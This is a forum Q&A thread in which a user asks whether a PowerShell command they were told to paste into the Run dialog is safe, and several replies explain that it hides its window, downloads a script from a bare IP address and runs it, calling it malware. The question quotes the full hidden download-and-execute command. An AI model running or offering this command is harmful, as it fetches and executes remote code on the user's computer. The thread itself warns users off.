Is this PowerShell command safe to run?
Asked by
CuriousCat99
Hey everyone, I came across a command that someone told me to paste into the run dialog to access a website. The command is: powershell -w h -nop -c iex(iwr -Uri 155.94.155.25 -UseBasicParsing). I'm a bit skeptical about it and would love to know if this is safe or if it has any harmful effects. What does this command actually do?
Answers
Trust me, you don't want to run that. It has a lot of flags that indicate it's hiding its real purpose. It creates a hidden PowerShell window, downloads some script, and executes it without any user profiles—which is a huge red flag for malware. If you've already run it, you should consider wiping your system and changing all your passwords immediately!
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Just a heads-up, any command that hides its window and disables user profiles is sketchy at best. Even if it's not outright malicious, anything downloaded from an unknown source can potentially harm your computer. There are better ways to access sites that don't involve risk like this!
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This is classic malware behavior. The command downloads a shellcode from that IP and executes it, likely compromising your system. After running something like this, please ensure you reinstall your OS and secure your accounts with two-factor authentication.
ExTechie07: Wiping the OS is a big step, but it sounds necessary. These things can hide deep!
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Absolutely not safe! That command is designed to download and execute something from the IP address 155.94.155.25 on your computer. This typically involves running some form of malware or malicious code. Just to break it down, `iex` is short for Invoke-Expression, and `iwr` stands for Invoke-WebRequest, which means it fetches the script and runs it right away.
CodeExplorer54: So basically, it's pulling an unknown file straight from the web and executing it in memory? That's terrifying!
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It’s a bad idea to run that. The way it's set up suggests it loads something and executes it without showing you anything. Definitely don’t do it. Just leave it alone!
NoRiskNoFun42: Is it possible that this was a way for someone to trick people into running something harmful? Seems sketchy!
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JustAUser88: Good advice! Always better to be safe than sorry.